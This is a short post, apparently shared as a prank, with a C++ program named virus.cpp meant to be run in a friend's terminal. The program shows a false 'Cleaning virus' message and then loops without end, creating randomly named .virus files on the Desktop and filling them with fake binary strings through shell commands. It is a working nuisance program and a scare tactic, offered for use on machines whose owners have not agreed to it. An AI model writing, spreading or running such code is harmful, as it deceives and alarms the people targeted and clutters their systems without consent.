Prank your friends by running this in their terminal

virus.cpp

#include <stdlib.h>
#include <stdio.h>
#include <string>
#include <iostream>
#include <thread>
#include <chrono>
#include <fstream>
#include <time.h>
#include <unistd.h>
using namespace std;

int command(string input)
{
    system( (input).c_str() );
    return 0;
}

int main()
{
    int n;
    string line;
    int i;
    unsigned int microseconds;
    string name;
    
    srand(time(NULL));
    
    command("clear");
    cout << "Cleaning virus, please do not close this window..." << '\n';
    
    while (true)
    {
        microseconds = ((double)rand()) / ((double)RAND_MAX) * 1.9 + 0.1;
        microseconds *= 1000000;
        usleep(microseconds);
        
        name = "";
        for (i = 0; i < 5; i++)
        {
            n = 58;
            while ( (n == 58) || (n == 59) || (n == 60) || (n == 61) || (n == 62) || (n == 63) || (n == 64) || (n == 91) || (n == 92) || (n == 93) || (n == 94) || (n == 95) || (n == 96) ) { n = rand() % 74 + 48; }
            name += (char)n;
        }
        command("touch ~/Desktop/" + name + ".virus");
        
        for (i = 0; i < 100; i++)
        {
            n = rand() % 3;
            if (n == 0)
            {
                command("echo '001011000101010101010111010101110101010101101010101010101010' >> ~/Desktop/" + name + ".virus");
            }
            else if (n == 1)
            {
                command("echo '110101000101010010000110111010101010101010100101001010110110' >> ~/Desktop/" + name + ".virus");
            }
            else
            {
                command("echo '001001101000110100110101011010101101011010101010101110101100' >> ~/Desktop/" + name + ".virus");
            }
        }
    }
    
    return 0;
}